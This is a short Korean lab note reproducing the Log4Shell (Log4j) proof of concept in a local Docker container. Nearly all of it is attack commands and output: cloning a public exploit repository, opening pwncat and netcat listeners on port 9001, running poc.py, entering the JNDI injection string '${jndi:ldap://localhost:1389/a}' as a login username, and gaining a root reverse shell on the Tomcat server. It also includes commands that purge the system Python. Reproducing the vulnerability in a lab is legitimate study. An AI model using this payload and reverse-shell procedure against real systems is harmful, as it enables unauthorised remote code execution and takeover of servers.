log4j (Log4Shell) POC(Proof-Of-Concept) 재현
git clone https://github.com/kozmer/log4j-shell-poc
pip install -r requirements.txt
#pip 업그레이드
pip3 install --upgrade pip
#pwncat 설치
pip3 install pwncat-cs
apt purge python3
apt purge python3.8
apt install python3.9
python3 -V
python3 -m pwncat -lp 9001 -m linux
sudo docker build -t log4j-shell-poc .
sudo docker run --network host log4j-shell-poc
nc -lvnp 9001
python3 poc.py --userip localhost --webport 8000 --lport 9001
# 8000 포트 : 웹접속
# 9001 포트 : 리버스 쉘 접속용
back
# 쉘 획득 성공
sudo docker build -t log4j-shell-poc .
sudo docker run --network host log4j-shell-poc
1. webapp 에 접속
username : ${jndi:ldap://localhost:1389/a}
password : hello!
2. 익스플로잇(poc.py) 창에 다음 메시지 생성됨
3. pwncat창에 다음 메시지 생성됨
[15:52:48] Welcome to pwncat 🐈!
[15:53:03] received connection from 127.0.0.1:57972
[15:53:04] 0.0.0.0:9001: upgrading from /bin/dash to /bin/bash
[15:53:05] localhost:57972: registered new host w/ db
(local) pwncat$
4. pwncat창에서 리모트 쉘로 전환
(local) pwncat$ **back**
5. 명령어 실행
(remote) root@server:/usr/local/tomcat#**ls**
LICENSE NOTICE RELEASE-NOTES RUNNING.txt bin conf include lib logs native-jni-lib temp webapps work
도비돈돈
made by juntheworld